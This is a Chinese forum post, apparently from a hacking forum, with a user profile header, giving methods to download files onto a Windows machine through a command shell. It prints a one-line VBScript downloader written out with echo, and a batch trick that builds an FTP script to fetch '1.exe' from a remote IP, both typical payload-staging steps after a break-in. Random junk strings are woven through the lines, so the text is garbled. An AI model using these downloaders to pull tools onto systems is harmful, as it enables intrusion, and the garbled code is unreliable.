- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: + M8 T* b! v2 \% x5 J) B
1.iget.vbs一次写入 6 c8 o6 X6 P# x& T/ g$ d L
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 0 O& c: g3 w2 a3 t( U Z! I
; U" Y# r: f( p" U" M4 U) sSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
2 k7 j; }; v3 N8 Z1 x
" z" h) K( L% j7 C7 `这样我们可以一次echo成功,echo版本:
; N& z! [' U) _# i& L2 ~1 {* o9 y) R+ \, C
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
n- R9 K. A2 j0 `, e" k7 q6 ?( r* A ^% v8 T2 ]" S
" U6 ]& i! ~+ D3 h2.bat调用ftp脚本的写法(by envymask)
+ f5 M$ g0 J+ Z; O* O
6 ~/ f0 F+ E( D; H) vecho ftp>1.vbs ' \7 k/ ^ n3 \: m) m. K
echo open ip>2.vbs
0 c4 U* n& c0 a$ F* h: ?echo u>3.vbs $ G1 n2 C6 z" q6 D7 |' z
echo s>4.vbs
( {. W4 [6 K% l4 c9 B* \2 _echo binary>5.vbs
0 q# _, h( m* `! \/ ?8 z) mecho get 1.exe>6.vbs 9 ?( B, V* c: P% @
echo bay>7.vbs 6 `* F6 e+ }4 y7 c- ?1 i1 |5 m) Z& L
, S' v- i( _/ L
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
9 [' A1 @. F: \% w f9 N</P> |
zan
|